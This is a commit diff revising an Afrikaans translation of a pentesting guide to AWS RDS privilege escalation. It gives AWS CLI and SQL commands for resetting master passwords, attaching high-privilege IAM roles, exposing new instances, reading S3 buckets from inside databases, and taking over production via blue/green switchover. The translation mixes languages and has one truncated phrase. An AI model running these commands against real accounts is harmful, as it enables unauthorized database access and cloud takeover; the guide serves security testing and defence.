Translated ['', 'src/pentesting-cloud/aws-security/aws-privilege-escalat

This commit is contained in:
Translator
2026-01-13 13:30:23 +00:00
parent 7a4e39b376
commit da86f4ae51
@@ -4,7 +4,7 @@
## RDS - Relasionele Databasisdiens
For more information about RDS check:
Vir meer inligting oor RDS kyk:
{{#ref}}
../../aws-services/aws-relational-database-rds-enum.md
@@ -12,7 +12,7 @@ For more information about RDS check:
### `rds:ModifyDBInstance`
Met daardie toestemming kan 'n attacker **die wagwoord van die hoofgebruiker wysig**, en die login binne die databasis:
Met daardie toestemming kan 'n aanvaller **die wagwoord van die master user wysig**, en die login binne die databasis:
```bash
# Get the DB username, db name and address
aws rds describe-db-instances
@@ -27,30 +27,30 @@ aws rds modify-db-instance \
psql postgresql://<username>:<pass>@<rds-dns>:5432/<db-name>
```
> [!WARNING]
> Jy sal in staat moet wees om die **databasis te bereik** (dit is gewoonlik slegs van binne netwerke bereikbaar).
> Jy sal in staat moet wees om die **databasis te kontak** (hulle is gewoonlik net toeganklik vanaf binne netwerke).
**Potensiële impak:** Vind sensitiewe inligting in die databasisse.
**Potensiële impak:** Vind sensitiewe inligting binne die databasisse.
### rds-db:connect
Volgens die [**docs**](https://docs.aws.amazon.com/AmazonRDS/latest/UserGuide/UsingWithRDS.IAMDBAuth.IAMPolicy.html) kan 'n gebruiker met hierdie toestemming aan die DB-instantie koppel.
Volgens die [**docs**](https://docs.aws.amazon.com/AmazonRDS/latest/UserGuide/UsingWithRDS.IAMDBAuth.IAMPolicy.html) kan 'n gebruiker met hierdie toestemming met die DB-instantie verbind.
### Misbruik RDS-rol IAM-toestemmings
### Misbruik RDS Role IAM permissies
#### Postgresql (Aurora)
> [!TIP]
> As jy **`SELECT datname FROM pg_database;`** uitvoer en jy vind 'n databasis genaamd **`rdsadmin`**, weet jy dat jy binne 'n **AWS postgresql databasis** is.
> As jy **`SELECT datname FROM pg_database;`** uitvoer en 'n databasis met die naam **`rdsadmin`** vind, weet jy dat jy binne 'n **AWS postgresql database** is.
Eerstens kan jy nagaan of hierdie databasis gebruik is om toegang tot enige ander AWS-diens te kry. Jy kan dit nagaan deur na die geïnstalleerde uitbreidings te kyk:
Eerstens kan jy nagaan of hierdie databasis gebruik is om toegang tot enige ander AWS diens te kry. Jy kan dit kontroleer deur na die geïnstalleerde uitbreidings te kyk:
```sql
SELECT * FROM pg_extension;
```
As jy iets soos **`aws_s3`** vind kan jy aanvaar dat hierdie databasis **'n soort toegang tot S3 het** (daar is ander uitbreidings soos **`aws_ml`** en **`aws_lambda`**).
As jy iets soos **`aws_s3`** vind, kan jy aanvaar dat hierdie databasis **'n soort toegang tot S3 het** (daar is ander uitbreidings soos **`aws_ml`** en **`aws_lambda`**).
Indien jy ook permissies het om **`aws rds describe-db-clusters`** uit te voer, kan jy sien of die **cluster enige IAM Role aangeheg het** in die veld **`AssociatedRoles`**. As daar is, kan jy aanvaar dat die databasis **voorberei was om ander AWS-dienste te gebruik**. Gebaseer op die **naam van die role** (of as jy die **permissies** van die role kan kry) kan jy **raai** watter ekstra toegang die databasis het.
Ook, as jy toestemming het om **`aws rds describe-db-clusters`** uit te voer, kan jy daar sien of die **cluster enige IAM Role aangeheg het** in die veld **`AssociatedRoles`**. As daar enige is, kan jy aanvaar dat die databasis **voorberei is om toegang tot ander AWS-dienste te **. Gebaseer op die **naam van die role** (of as jy die **permissions** van die role kan kry) kan jy **raai** watter ekstra toegang die databasis het.
Nou, om **'n lêer binne 'n bucket te lees** moet jy die volle pad weet. Jy kan dit lees met:
Nou, om **read a file inside a bucket** te lees moet jy die volle pad weet. Jy kan dit lees met:
```sql
// Create table
CREATE TABLE ttemp (col TEXT);
@@ -80,18 +80,18 @@ aws_commons.create_aws_credentials('sample_access_key', 'sample_secret_key', '')
);
```
> [!NOTE]
> Postgresql **het nie nodig om enige parameter-groep veranderlike te verander** om toegang tot S3 te kry.
> Postgresql **hoef nie enige parameter group variable te verander nie** om toegang tot S3 te kry.
#### Mysql (Aurora)
> [!TIP]
> Binnen 'n mysql, as jy die query **`SELECT User, Host FROM mysql.user;`** uitvoer en daar is 'n gebruiker genaamd **`rdsadmin`**, kan jy aanvaar dat jy binne 'n **AWS RDS mysql db** is.
> Binne 'n mysql, as jy die query **`SELECT User, Host FROM mysql.user;`** uitvoer en daar is 'n gebruiker genaamd **`rdsadmin`**, kan jy aanvaar dat jy binne 'n **AWS RDS mysql db** is.
Binne die mysql voer **`show variables;`** uit en as veranderlikes soos **`aws_default_s3_role`**, **`aurora_load_from_s3_role`**, **`aurora_select_into_s3_role`** waardes het, kan jy aanvaar dat die databasis voorberei is om toegang tot S3-data te kry.
Binne die mysql voer **`show variables;`** uit, en as veranderlikes soos **`aws_default_s3_role`**, **`aurora_load_from_s3_role`**, **`aurora_select_into_s3_role`**, waardes het, kan jy aanvaar dat die databasis voorberei is om toegang tot S3-data te kry.
As jy ook toestemming het om **`aws rds describe-db-clusters`** uit te voer, kan jy kyk of die cluster enige **geassosieerde rol** het, wat gewoonlik toegang tot AWS-dienste beteken).
Ook, as jy permissies het om **`aws rds describe-db-clusters`** te voer, kan jy nagaan of die cluster enige **associated role** het, wat gewoonlik toegang tot AWS-dienste beteken).
Nou, om 'n lêer in 'n bucket te lees moet jy die volle pad weet. Jy kan dit lees met:
Nou, om 'n **lêer binne 'n bucket te lees** moet jy die volle pad ken. Jy kan dit lees met:
```sql
CREATE TABLE ttemp (col TEXT);
LOAD DATA FROM S3 's3://mybucket/data.txt' INTO TABLE ttemp(col);
@@ -100,16 +100,16 @@ DROP TABLE ttemp;
```
### `rds:AddRoleToDBCluster`, `iam:PassRole`
'n aanvaller met die magtigings `rds:AddRoleToDBCluster` en `iam:PassRole` kan **'n gespesifiseerde rol aan 'n bestaande RDS-instansie toevoeg**. Dit kan die aanvaller in staat stel om **toegang te verkry tot sensitiewe data** of die data binne die instansie te wysig.
'n aanvaller met die toestemmings `rds:AddRoleToDBCluster` en `iam:PassRole` kan **'n gespesifiseerde rol by 'n bestaande RDS-instansie voeg**. Dit kan die aanvaller **toegang gee tot sensitiewe data** of die data binne die instansie wysig.
```bash
aws add-role-to-db-cluster --db-cluster-identifier <value> --role-arn <value>
```
**Potensiële impak**: Toegang tot sensitiewe data of ongemagtigde wysigings aan die data in die RDS-instantie.\
Neem kennis dat sommige DB's addisionele konfigurasies vereis soos Mysql, wat ook die rol ARN in die parameter-groepe moet spesifiseer.
**Potensiële impak**: Toegang tot sensitiewe data of ongemagtigde wysigings aan die data in die RDS-instansie.\
Let wel dat sommige DBs addisionele konfigurasies benodig, soos Mysql, wat ook vereis dat die role ARN in die parameter groups gespesifiseer word.
### `rds:CreateDBInstance`
Net met hierdie permisie kan 'n aanvaller 'n **nuwe instansie binne 'n cluster** skep wat reeds bestaan en 'n **IAM role** aangeheg het. Hy sal nie daarin slaag om die meestergebruikerswagwoord te verander nie, maar hy kan die nuwe databasisinstansie moontlik aan die internet blootstel:
Slegs met hierdie toestemming kan 'n aanvaller 'n **nuwe instansie binne 'n cluster** skep wat reeds bestaan en waaraan 'n **IAM role** gekoppel is. Hy sal nie die master user password kan verander nie, maar hy kan moontlik die nuwe database-instansie aan die internet blootstel:
```bash
aws --region eu-west-1 --profile none-priv rds create-db-instance \
--db-instance-identifier mydbinstance2 \
@@ -124,28 +124,48 @@ aws --region eu-west-1 --profile none-priv rds create-db-instance \
> [!NOTE]
> TODO: Toets
'n attacker met die permissies `rds:CreateDBInstance` en `iam:PassRole` kan **'n nuwe RDS-instantie skep met 'n gespesifiseerde rol aangeheg**. Die attacker kan dan moontlik **toegang tot sensitiewe data kry** of die data binne die instansie wysig.
'n aanvaller met die permissies `rds:CreateDBInstance` en `iam:PassRole` kan **'n nuwe RDS-instansie skep met 'n gespesifiseerde rol aangeheg**. Die aanvaller kan dan moontlik **gevoelige data benader** of die data binne die instansie wysig.
> [!WARNING]
> Sommige vereistes vir die role/instance-profile wat aangeheg word (van [**here**](https://docs.aws.amazon.com/cli/latest/reference/rds/create-db-instance.html)):
> Some requirements of the role/instance-profile to attach (from [**here**](https://docs.aws.amazon.com/cli/latest/reference/rds/create-db-instance.html)):
> - Die profiel moet in jou account bestaan.
> - Die profiel moet in jou rekening bestaan.
> - Die profiel moet 'n IAM-rol hê wat Amazon EC2 toestemming het om aan te neem.
> - Die instance profile naam en die geassosieerde IAM rol naam moet begin met die voorvoegsel `AWSRDSCustom` .
> - Die instance profile name and the associated IAM role name must start with the prefix `AWSRDSCustom` .
```bash
aws rds create-db-instance --db-instance-identifier malicious-instance --db-instance-class db.t2.micro --engine mysql --allocated-storage 20 --master-username admin --master-user-password mypassword --db-name mydatabase --vapc-security-group-ids sg-12345678 --db-subnet-group-name mydbsubnetgroup --enable-iam-database-authentication --custom-iam-instance-profile arn:aws:iam::123456789012:role/MyRDSEnabledRole
```
**Potensiële impak**: Toegang tot sensitiewe data of ongemagtigde wysigings aan die data in die RDS instance.
**Potential Impact**: Toegang tot sensitiewe data of ongemagtigde wysigings aan die data in die RDS instance.
### `rds:AddRoleToDBInstance`, `iam:PassRole`
'n aanvaller met die permissies `rds:AddRoleToDBInstance` en `iam:PassRole` kan **'n gespesifiseerde rol by 'n bestaande RDS instance voeg**. Dit kan die aanvaller toelaat om **toegang tot sensitiewe data** te kry of die data binne die instance te wysig.
'n Aanvaller met die regte `rds:AddRoleToDBInstance` en `iam:PassRole` kan **'n gespesifiseerde rol by 'n bestaande RDS instance voeg**. Dit kan die aanvaller toelaat om **toegang tot sensitiewe data te kry** of die data binne die instance te wysig.
> [!WARNING]
> Die DB instance moet hiervoor buite 'n cluster wees
> Die DB instance moet buite 'n cluster wees vir hierdie aksie
```bash
aws rds add-role-to-db-instance --db-instance-identifier target-instance --role-arn arn:aws:iam::123456789012:role/MyRDSEnabledRole --feature-name <feat-name>
```
**Potensiële impak**: Toegang tot sensitiewe data of ongemagtigde wysigings aan die data in die RDS-instansie.
### `rds:CreateBlueGreenDeployment`, `rds:AddRoleToDBCluster`, `iam:PassRole`, `rds:SwitchoverBlueGreenDeployment`
'n Aanvaller met hierdie toestemmings kan 'n produksiedatabasis (Blue) kloon, 'n IAM-rol met hoë voorregte aan die kloon heg (Green), en dan switchover gebruik om die produksie-omgewing te vervang. Dit stel die aanvaller in staat om die databasis se voorregte te verhoog en ongemagtigde toegang tot ander AWS-bronne te verkry.
```bash
# Create a Green deployment (clone) of the production cluster
aws rds create-blue-green-deployment \
--blue-green-deployment-name <name> \
--source <production-db-cluster-arn>
# Attach a high-privilege IAM role to the Green cluster
aws rds add-role-to-db-cluster \
--db-cluster-identifier <green-cluster-id> \
--role-arn <high-privilege-iam-role-arn>
# Switch the Green environment to Production
aws rds switchover-blue-green-deployment \
--blue-green-deployment-identifier <deployment-id>
```
**Potensiële impak**: Volledige oorname van die produksiedatabasis-omgewing. Na die oorskakeling werk die databasis met verhoogde bevoegdhede, wat ongemagtigde toegang vanaf binne die databasis tot ander AWS-dienste (bv. S3, Lambda, Secrets Manager) moontlik maak.
{{#include ../../../../banners/hacktricks-training.md}}